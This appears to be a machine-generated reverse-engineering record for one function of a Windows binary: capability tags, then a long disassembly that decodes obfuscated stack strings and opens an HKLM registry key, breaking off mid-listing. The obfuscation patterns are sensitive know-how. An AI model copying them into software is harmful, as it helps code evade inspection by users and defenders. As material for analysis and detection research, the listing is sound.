Function at 0x1400cc650
Capabilities:
Contain obfuscated stackstrings
Execute command
Parse pe header
Query or enumerate registry value
Set registry value

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x50]
sub rsp, 0x150
movzx r11d, byte [rbp + 0x90]
xor eax, eax
xorps xmm0, xmm0
mov dword [rbp + 0x1b], eax
movups xmmword [rbp + 0xb], xmm0
mov byte [rbp + 0x1f], al
movabs rsi, 0xa168ac82460ea99b
mov dword [rbp + 0x98], 4
movabs r14, 0x7afa6b0dec3beef
mov dword [rbp - 0x20], 0x2f2d1233
movabs r15, 0x452cdc37d4e1b667
mov dword [rbp - 0x1c], 0x3a10223d
movabs r13, 0x35cd8ed6175a3889
mov dword [rbp - 0x18], 0x14020309
movabs r12, 0x170ef4129c4b3ccd
mov dword [rbp - 0x14], 0x631010c
mov dword [rbp - 0x10], 0xfafafd08
mov dword [rbp - 0xc], 0xfbebd8f6
mov dword [rbp - 8], 0xfdf1c4e2
mov dword [rbp - 4], 0xfbf5f7f6
mov dword [rbp], 0xf7c3dcea
mov dword [rbp + 4], 0xf9e2ecdf
mov word [rbp + 8], 0xe8e5
mov byte [rbp + 0xa], 0x90
nop
mov r8, qword [0x1402e3348]
mov r9, qword [0x1402e3350]
nop
xor ebx, ebx
cmp rbx, 0x40
jae 0x1400cd01f
movzx r10d, byte [rbp + rbx - 0x20]
mov edx, r10d
cmp r8, rbx
ja 0x1400cd016
lea rcx, [r9 + 1]
cmp r8, rcx
jae 0x1400cc75f
lea r11, [rbx + r14]
movzx eax, dl
and al, r11b
add al, al
sub r11b, al
add r11b, 0x77
add r11b, r10b
jmp 0x1400cc7a6
je 0x1400ccfb2
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400ccf3c
lea rax, [rcx + 1]
cmp r8, rax
je 0x1400ccf11
lea rax, [r9 + 2]
cmp r8, rax
je 0x1400ccef6
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400cced5
lea rax, [r9 + 8]
cmp r8, rax
je 0x1400cce8f
cmp r9, rbx
ja 0x1400cd00d
lea rcx, [r9 + 1]
cmp r8, rcx
jae 0x1400cc7cf
lea rcx, [rbx + rsi]
movzx eax, dl
and al, cl
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x3d
jmp 0x1400cc800
je 0x1400cce74
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400cce53
lea rax, [rcx + 1]
cmp r8, rax
je 0x1400cce10
lea rax, [r9 + 6]
cmp r8, rax
je 0x1400ccde8
nop dword [rax]
lea rax, [r9 + r8]
cmp rax, rbx
jbe 0x1400ccb9c
nop dword [rax]
lea rax, [r9 + 0x40]
cmp r8, rax
je 0x1400ccb7a
lea rax, [r9 + 0x3e8]
cmp r8, rax
je 0x1400ccb52
lea rax, [r9 + 0x41]
cmp r8, rax
je 0x1400ccb32
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400ccb15
lea rax, [r9 + 9]
cmp r8, rax
je 0x1400ccaf8
lea r8, [r9 + 0x41]
lea r9, [r8 + 0x40]
lea rax, [r9 + 3]
cmp r8, rax
jb 0x1400ccff2
lea rax, [r9 + 9]
cmp r8, rax
jb 0x1400ccfd7
lea rax, [r9 + 0x7a]
cmp r8, rax
jb 0x1400cc95d
lea rax, [r9 + 2]
cmp r8, rax
jb 0x1400cc943
lea rax, [r9 + 8]
cmp r8, rax
jb 0x1400cc929
lea rax, [r9 + 0x28]
cmp r8, rax
jb 0x1400ccaac
lea rax, [r9 + 0x200]
cmp r8, rax
jb 0x1400cca36
lea r8, [r9 + 0x7a]
lea r9, [r8 + 0x28]
lea rax, [r9 + 2]
cmp r8, rax
ja 0x1400cca0e
lea rax, [r9 + 8]
cmp r8, rax
ja 0x1400cc9f4
lea rax, [r9 + 0x28]
cmp r8, rax
ja 0x1400cc9da
lea rax, [r9 + 0x200]
cmp r8, rax
ja 0x1400cc9bb
lea rax, [r9 + 0x7a]
cmp r8, rax
ja 0x1400cc999
lea rax, [r9 + 1]
cmp r8, rax
ja 0x1400cc977
lea rax, [r9 + 6]
cmp r8, rax
ja 0x1400cc810
lea r8, [r9 + 0x61]
lea r9, [r8 + 0x20]
jmp 0x1400cc810
lea ecx, [rbx - 0x3b]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x63
jmp 0x1400cc800
lea ecx, [rbx - 0x19]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x51
jmp 0x1400cc7a6
lea ecx, [rbx + 9]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x3f
jmp 0x1400cc735
lea edx, [rbx - 0x28]
mov ecx, ntohl
movzx eax, dl
movzx edi, bl
and al, r10b
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
jmp 0x1400cceab
lea edx, [rbx + 0x60]
mov ecx, Ordinal_50
movzx eax, dl
and al, r10b
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
add r8, r9
jmp 0x1400ccf23
lea edx, [rbx - 0x7e]
mov ecx, reloc.WS2_32.dll_gethostname
movzx eax, dl
and al, r10b
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
jmp 0x1400ccf23
lea ecx, [rbx - 0x5c]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x7c
jmp 0x1400ccf4e
lea ecx, [rbx - 0x3a]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x6a
jmp 0x1400ccf74
lea ecx, [rbx - 0x18]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
movzx eax, byte [rbp + rbx - 0x20]
add rax, r9
add rbx, rax
lea r11d, [r10 + rcx]
sub r11b, 0x58
inc rbx
jmp 0x1400cc722
lea ecx, [rbx - 0x7f]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
add r11b, 0x79
cmp r8, 0x400
jae 0x1400ccdb0
lea rax, [r9 + 0xa]
cmp r8, rax
jbe 0x1400ccd15
lea edx, [rbx - 0x72]
mov ecx, reloc.WS2_32.dll_ntohs
movzx eax, dl
and al, r10b
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
cmp r9, 0x3e8
jb 0x1400ccda3
movzx edi, bl
lea ecx, [rdi + 0x3a]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
add cl, r10b
lea r11d, [rcx*2 - 0x2c]
jmp 0x1400cceab
lea ecx, [rbx - 0x5d]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x75
lea rax, [r9 + r8]
cmp rax, 0x1000
je 0x1400ccdcc
lea rax, [r9 + 0x10]
cmp r8, rax
jbe 0x1400ccc6f
lea ecx, [rbx - 0xd]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
add r11b, 0x5b
jmp 0x1400cca4b
lea ecx, [rbx + 0x2a]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x26
add r8, r9
jmp 0x1400ccf23
lea ecx, [rbx + 0x4c]
movzx edi, bl
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x14
jmp 0x1400cce2c
lea ecx, [rbx + 0x6e]
dec rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 2
inc rbx
jmp 0x1400cc722
lea edx, [rbx - 0x70]
mov ecx, 8
movzx eax, dl
inc r9
and al, r10b
dec rbx
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
inc rbx
jmp 0x1400cc722
mov ecx, reloc.WS2_32.dll_recvfrom
movzx edi, bl
lea edx, [rdi - 0x4e]
movzx eax, dl
and al, r10b
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
jmp 0x1400cceab
lea rax, [r9 + 0x10]
cmp r8, rax
jae 0x1400ccbbf
lea ecx, [rbx - 0x11]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
add r11b, 0x77
jmp 0x1400ccac1
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400ccbf0
lea ecx, [rbx + 0x36]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
movzx eax, byte [rbp + rbx - 0x20]
add rax, r9
add rbx, rax
lea r11d, [r10 + rcx]
sub r11b, 0x7a
inc rbx
jmp 0x1400cc722
inc rax
cmp r8, rax
jne 0x1400ccc17
lea edx, [rbx + 0x14]
mov ecx, Ordinal_60
movzx eax, dl
and al, r10b
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
jmp 0x1400ccf74
lea rax, [r9 + 6]
cmp r8, rax
jne 0x1400ccc45
lea edx, [rbx + 0x6a]
mov ecx, reloc.WS2_32.dll_listen
movzx eax, dl
dec rbx
and al, r10b
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
inc rbx
jmp 0x1400cc722
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400ccac1
movzx edi, bl
lea ecx, [rdi + 0x26]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0xa
jmp 0x1400cceab
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400ccc95
movzx edi, bl
lea ecx, [rdi - 0x2f]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
add r11b, 0x49
jmp 0x1400cceab
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400cccbb
movzx edi, bl
lea ecx, [rdi + 0x6b]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
add r11b, 0x13
jmp 0x1400cce2c
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400ccce0
lea ecx, [rbx + 0x49]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
inc r11b
add r8, r9
jmp 0x1400ccf23
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1400cca4b
lea ecx, [rbx - 0x3f]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
movzx eax, byte [rbp + rbx - 0x20]
add rax, r9
add rbx, rax
lea r11d, [r10 + rcx]
sub r11b, 0x47
inc rbx
jmp 0x1400cc722
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400ccd4b
lea edx, [rbx + 0x6c]
mov ecx, 6
movzx eax, dl
and al, r10b
sub cl, al
movzx eax, byte [rbp + rbx - 0x20]
add rax, r9
add rbx, rax
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
inc rbx
jmp 0x1400cc722
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400ccd74
lea ecx, [rbx - 0x60]
dec rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x60
inc rbx
jmp 0x1400cc722
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400cca7f
mov ecx, 0x3e
movzx edi, bl
lea edx, [rdi + 0x5c]
movzx eax, dl
and al, r10b
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
jmp 0x1400cceab
mov byte [rbp + rbx - 0x20], r11b
inc rbx
jmp 0x1400cc722
movzx ecx, byte [rbp + rbx - 0x20]
movzx edi, bl
lea edx, [rdi + 0x18]
movzx eax, dl
and al, r10b
sub cl, al
add cl, 0x2c
lea r11d, [rcx + rcx]
jmp 0x1400cce29
lea edx, [rbx - 0xa]
mov ecx, reloc.WLDAP32.dll_Ordinal_35
movzx eax, dl
and al, r10b
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
jmp 0x1400ccf4e
lea ecx, [rbx + 0x69]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
movzx eax, byte [rbp + rbx - 0x20]
add rax, r9
add rbx, rax
lea r11d, [r10 + rcx]
add r11b, 0x21
inc rbx
jmp 0x1400cc722
movzx edi, bl
movzx eax, r10b
movzx r11d, r10b
lea edx, [rdi + 0x13]
and al, dl
add al, al
sub r11b, al
add r11b, 0x7b
add r11b, dl
movzx eax, r10b
add dil, 7
and al, dil
add al, al
sub r10b, al
sub r10b, 0x31
add r10b, r11b
add r10b, dil
mov byte [rbp + rbx - 0x20], r10b
add r8, r9
jmp 0x1400ccf23
lea ecx, [rbx + 0x35]
movzx eax, r10b
and al, cl
dec rbx
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x73
inc rbx
jmp 0x1400cc722
movzx edi, bl
movzx eax, r10b
movzx r11d, r10b
lea edx, [rdi + 0x79]
and al, dl
add al, al
sub r11b, al
sub r11b, 0x4f
jmp 0x1400ccea8
movzx edi, bl
movzx eax, r10b
movzx r11d, r10b
lea edx, [rdi - 0x43]
and al, dl
add al, al
sub r11b, al
sub r11b, 0x2b
add r11b, dl
movzx eax, r10b
add dil, 0x29
and al, dil
add al, al
sub r10b, al
sub r10b, 0x1f
add r10b, dil
mov byte [rbp + rbx - 0x20], r10b
inc r9
dec rbx
inc rbx
jmp 0x1400cc722
lea ecx, [rbx + 1]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 7
dec rbx
inc rbx
jmp 0x1400cc722
lea ecx, [rbx + 0x45]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
add r11b, 0x1d
add r8, r9
jmp 0x1400ccf23
lea rax, [rbx + r15]
and dl, al
add dl, dl
sub al, dl
lea r11d, [r10 + rax]
add r11b, 0x2f
movzx eax, r11b
mov rcx, 0xffffffffffffffff
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x1400cc722
lea rax, [rbx + r13]
and dl, al
add dl, dl
sub al, dl
lea r11d, [r10 + rax]
add r11b, 0x41
lea edx, [rbx - 0x1b]
movzx eax, r10b
and al, dl
inc r9
add al, al
movzx ecx, r10b
sub cl, al
sub cl, 0x43
add cl, dl
movzx eax, cl
mov byte [rbp + rbx - 0x20], al
add rax, r9
sub rbx, rax
lea edx, [rbx - 0x2c]
movzx eax, r10b
and al, dl
inc r8
mov ecx, reloc.WLDAP32.dll_Ordinal_26
sub cl, al
mov rax, 0xffffffffffffffff
sub rax, r8
add cl, cl
add cl, r10b
add cl, dl
mov byte [rbp + rbx - 0x20], cl
add rbx, rax
movzx eax, byte [rbp + rbx - 0x20]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400cc722
lea rax, [rbx + r12]
and dl, al
add dl, dl
sub al, dl
lea r11d, [r10 + rax]
add r11b, 0x65
movzx eax, byte [rbp + rbx - 0x20]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400cc722
add bl, 0x2b
movzx eax, r10b
and al, bl
add al, al
sub r10b, al
lea r11d, [rbx + r10]
sub r11b, 0x2d
jmp 0x1400cc720
add bl, 0x4d
movzx eax, r10b
and al, bl
add al, al
sub r10b, al
lea r11d, [rbx + r10]
sub r11b, 0x1b
jmp 0x1400cc710
lea rdx, [rbp + 0x1444874]
jmp 0x1400cd023
lea rdx, [rbp + 0x880763]
jmp 0x1400cd023
lea rdx, [rbp - 0x20]
lea rax, [rbp + 0xa0]
mov r9d, 3
xor r8d, r8d
mov qword [rsp + 0x20], rax
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x1400cfec9
movzx r11d, byte [rbp + 0x90]
xor eax, eax
mov qword [rbp - 0x30], rax
xor r13d, r13d
mov dword [rbp - 0x28], eax
movabs rsi, 0x73d8729d9daa9446
mov dword [rbp - 0x50], 0x111e1806
movabs r15, 0x2aeb224f4faa0dea
mov dword [rbp - 0x4c], 0x1071705
movabs r12, 0x433a3d141454e55e
mov dword [rbp - 0x48], 0xd7e0018
movabs r14, 0x5b8957d8d8ffbcd2
mov dword [rbp - 0x44], 0x91b3301
mov dword [rbp - 0x40], 0x1401017a
mov dword [rbp - 0x3c], 0xf0d0f
mov dword [rbp - 0x38], 0x2a387000
mov dword [rbp - 0x34], 0x8f2b352e
mov r8, qword [0x1402e3348]
mov r9, qword [0x1402e3350]
nop
mov rdi, r13
cmp rdi, 0x2c
jae 0x1400cdc3a
movzx ebx, byte [rbp + rdi - 0x50]
mov r10, rbx
cmp r8, rdi
ja 0x1400cdc31
lea rax, [r9 + 1]
cmp r8, rax
jae 0x1400cd115
lea rcx, [rdi + rsi]
mov r11d, ntohl
movzx eax, cl
and al, r10b
sub r11b, al
add r11b, r11b
add r11b, cl
add r11b, r10b
jmp 0x1400cd160
je 0x1400cdbba
inc rax
cmp r8, rax
je 0x1400cdb5f
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400cdb1e
lea rax, [r9 + 4]
cmp r8, rax
je 0x1400cdaee
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400cdaaf
lea rax, [r9 + 7]
cmp r8, rax
je 0x1400cda88
nop dword [rax + rax]
cmp r9, rdi
ja 0x1400cdc28
lea rax, [r9 + 0x7a]
cmp r8, rax
jae 0x1400cd188
lea ecx, [rdi - 0x42]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x32
jmp 0x1400cd1d0
lea rax, [r9 + 1]
cmp r8, rax
je 0x1400cda49
inc rax
cmp r8, rax
je 0x1400cda25
lea rax, [r9 + 4]
cmp r8, rax
je 0x1400cda0c
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400cd9f3
lea rax, [r9 + 8]
cmp r8, rax
je 0x1400cd9c7
nop dword [rax + rax]
lea rax, [r9 + r8]
cmp rax, rdi
jbe 0x1400cd6e3
nop dword [rax]
lea rax, [r9 + 0x2a]
cmp r8, rax
je 0x1400cd6c0
lea rax, [r9 + 9]
cmp r8, rax
je 0x1400cd69e
lea rax, [r9 + 0x80]
cmp r8, rax
je 0x1400cd67f
lea rax, [r9 + 0x5a]
cmp r8, rax
je 0x1400cd661
lea rax, [r9 + 0x41]
cmp r8, rax
je 0x1400cd643
lea rax, [r9 + 6]
cmp r8, rax
je 0x1400cd625
lea rax, [r9 + 0x42]
cmp r8, rax
je 0x1400cd607
lea rax, [r9 + 0x7a]
cmp r8, rax
je 0x1400cd5ee
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400cd5c7
lea rax, [r9 + 0x40]
cmp r8, rax
je 0x1400cd1e0
lea r8, [r9 + 0x2a]
lea r9, [r8 + 0x61]
lea rax, [r9 + 9]
cmp r8, rax
jb 0x1400cdc08
lea rax, [r9 + 0x80]
cmp r8, rax
jb 0x1400cdbe8
lea rax, [r9 + 0x5a]
cmp r8, rax
jb 0x1400cd3bd
lea rax, [r9 + 8]
cmp r8, rax
jb 0x1400cd3a4
lea rax, [r9 + 0x64]
cmp r8, rax
jb 0x1400cd38b
lea rax, [r9 + 0x41]
cmp r8, rax
jb 0x1400cd582
lea rax, [r9 + 6]
cmp r8, rax
jb 0x1400cd543
lea rax, [r9 + 0x42]
cmp r8, rax
jb 0x1400cd501
lea rax, [r9 + 0x7a]
cmp r8, rax
jb 0x1400cd4e0
lea rax, [r9 + 0x61]
cmp r8, rax
jb 0x1400cd1e0
lea r8, [r9 + 0x200]
lea r9, [r8 + 4]
lea rax, [r9 + 0x2a]
cmp r8, rax
ja 0x1400cd4b4
lea rax, [r9 + 9]
cmp r8, rax
ja 0x1400cd496
lea rax, [r9 + 0x80]
cmp r8, rax
ja 0x1400cd478
lea rax, [r9 + 0x5a]
cmp r8, rax
ja 0x1400cd45f
lea rax, [r9 + 0x41]
cmp r8, rax
ja 0x1400cd446
lea rax, [r9 + 6]
cmp r8, rax
ja 0x1400cd429
lea rax, [r9 + 0x42]
cmp r8, rax
ja 0x1400cd405
lea rax, [r9 + 0x7a]
cmp r8, rax
ja 0x1400cd3f8
lea rax, [r9 + 5]
cmp r8, rax
ja 0x1400cd3d6
lea rax, [r9 + 0x40]
cmp r8, rax
ja 0x1400cd1e0
lea r8, [r9 + 0x2a]
lea r9, [r8 + 0x61]
jmp 0x1400cd1e0
lea ecx, [rdi + 2]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0xe
jmp 0x1400cd1d0
lea ecx, [rdi + 0x76]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x3a
jmp 0x1400cd160
lea ecx, [rdi - 0x16]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x66
jmp 0x1400cd0e2
lea edx, [rdi - 0x10]
mov ecx, Ordinal_60
movzx eax, dl
movzx r10d, dil
and al, bl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x1400cda62
lea edx, [rdi + 0x64]
mov ecx, Ordinal_35
jmp 0x1400cda90
lea edx, [rdi - 0x28]
mov ecx, ntohl
movzx eax, dl
dec rdi
and al, bl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
inc rdi
jmp 0x1400cd0d3
lea ecx, [rdi + 0x4c]
movzx r10d, dil
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x14
jmp 0x1400cdacd
lea ecx, [rdi - 0x40]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x40
jmp 0x1400cdb02
lea ecx, [rdi + 0x34]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x6c
jmp 0x1400cdb05
lea edx, [rdi - 0x58]
mov ecx, 0x34
movzx eax, dl
and al, bl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x1400cdb38
lea edx, [rdi + 0x1c]
mov ecx, reloc.WLDAP32.dll_Ordinal_30
movzx eax, dl
and al, bl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x1400cdb7e
lea edx, [rdi - 0x70]
mov ecx, 8
movzx eax, dl
and al, bl
sub cl, al
movzx eax, byte [rbp + rdi - 0x50]
add rax, r9
add rdi, rax
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
inc rdi
jmp 0x1400cd0d3
lea ecx, [rdi + 0x32]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x5e
mov byte [rbp + rdi - 0x50], r11b
inc rdi
jmp 0x1400cd0d3
lea edx, [rdi - 0x5a]
mov ecx, Ordinal_60
movzx eax, dl
and al, bl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
cmp r9, 0x3e8
jb 0x1400cd4f4
movzx r10d, dil
lea ecx, [r10 - 0x1c]
movzx eax, cl
and al, bl
add al, al
sub cl, al
add cl, bl
lea r11d, [rcx*2 - 0x78]
jmp 0x1400cda62
lea edx, [rdi + 0x1a]
mov ecx, Ordinal_41
movzx eax, dl
and al, bl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
cmp r8, 0x10
jae 0x1400cd98b
lea rax, [r9 + 0x7a]
cmp r8, rax
jbe 0x1400cd8c1
lea edx, [rdi + 0x6c]
mov ecx, 6
movzx eax, dl
and al, bl
jmp 0x1400cd50e
lea edx, [rdi - 0x72]
mov ecx, reloc.WS2_32.dll_ntohs
movzx eax, dl
and al, bl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
lea rax, [r9 + r8]
cmp rax, 0x3e8
je 0x1400cd9ac
lea rax, [r9 + 0x42]
cmp r8, rax
jbe 0x1400cd7c1
lea edx, [rdi - 0x52]
mov ecx, Ordinal_32
movzx eax, dl
and al, bl
jmp 0x1400cd550
lea ecx, [rdi + 0x74]
movzx eax, cl
and al, bl
add al, al
sub cl, al
movzx eax, byte [rbp + rdi - 0x50]
add rax, r9
add rdi, rax
lea r11d, [rbx + rcx]
sub r11b, 0x2c
inc rdi
jmp 0x1400cd0d3
lea ecx, [rdi - 0x18]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x58
jmp 0x1400cdb7e
lea edx, [rdi + 0x5c]
mov ecx, 0x3e
movzx eax, dl
and al, bl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x1400cdb38
lea edx, [rdi - 0x30]
mov ecx, Ordinal_41
movzx eax, dl
and al, bl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x1400cdb05
lea edx, [rdi + 0x44]
mov ecx, reloc.WS2_32.dll_select
movzx eax, dl
and al, bl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x1400cdb02
movzx r10d, dil
lea ecx, [r10 - 0x48]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 8
jmp 0x1400cdacd
lea ecx, [rdi + 0x2c]
dec rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x34
inc rdi
jmp 0x1400cd0d3
lea ecx, [rdi - 0x60]
inc r9
movzx eax, cl
dec rdi
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x60
inc rdi
jmp 0x1400cd0d3
mov ecx, Ordinal_60
movzx r10d, dil
lea edx, [r10 + 0x14]
movzx eax, dl
and al, bl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x1400cda62
lea rax, [r9 + 0x3e8]
cmp r8, rax
jae 0x1400cd701
lea edx, [rdi + 0x46]
mov ecx, ntohl
movzx eax, dl
and al, bl
jmp 0x1400cd58f
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400cd731
lea ecx, [rdi + 0x7c]
movzx eax, cl
and al, bl
add al, al
sub cl, al
movzx eax, byte [rbp + rdi - 0x50]
add rax, r9
add rdi, rax
lea r11d, [rbx + rcx]
sub r11b, 0x64
inc rdi
jmp 0x1400cd0d3
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400cd753
lea ecx, [rdi - 0x6c]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0xc
jmp 0x1400cdb38
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400cd76e
movzx r10d, dil
mov ecx, reloc.WLDAP32.dll_Ordinal_60
lea edx, [r10 + 0x38]
jmp 0x1400cdabc
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400cd796
lea ecx, [rdi - 0x3c]
dec rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x5c
inc rdi
jmp 0x1400cd0d3
lea rax, [r9 + 8]
cmp r8, rax
jne 0x1400cd59b
movzx r10d, dil
lea ecx, [r10 - 0x24]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 4
jmp 0x1400cda62
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400cd7ed
mov ecx, gethostname
movzx r10d, dil
lea edx, [r10 + 0x3a]
movzx eax, dl
and al, bl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x1400cda62
inc rax
cmp r8, rax
jne 0x1400cd817
lea ecx, [rdi - 0x3a]
inc r9
movzx eax, cl
dec rdi
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x6a
inc rdi
jmp 0x1400cd0d3
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400cd83f
lea ecx, [rdi + 0x52]
dec rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x3e
inc rdi
jmp 0x1400cd0d3
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1400cd866
lea edx, [rdi - 0xa]
mov ecx, reloc.WLDAP32.dll_Ordinal_35
movzx eax, dl
and al, bl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x1400cdb05
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400cd88d
lea edx, [rdi - 0x7e]
mov ecx, reloc.WS2_32.dll_gethostname
movzx eax, dl
and al, bl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x1400cdb38
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400cd55c
lea ecx, [rdi - 0x66]
movzx eax, cl
and al, bl
add al, al
sub cl, al
movzx eax, byte [rbp + rdi - 0x50]
add rax, r9
add rdi, rax
lea r11d, [rbx + rcx]
sub r11b, 0x36
inc rdi
jmp 0x1400cd0d3
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400cd8f6
lea edx, [rdi - 8]
mov ecx, Ordinal_32
movzx eax, dl
and al, bl
sub cl, al
movzx eax, byte [rbp + rdi - 0x50]
add rax, r9
add rdi, rax
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
inc rdi
jmp 0x1400cd0d3
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400cd918
lea ecx, [rdi + 0x10]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x70
jmp 0x1400cdb38
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400cd933
movzx r10d, dil
mov ecx, 0xa
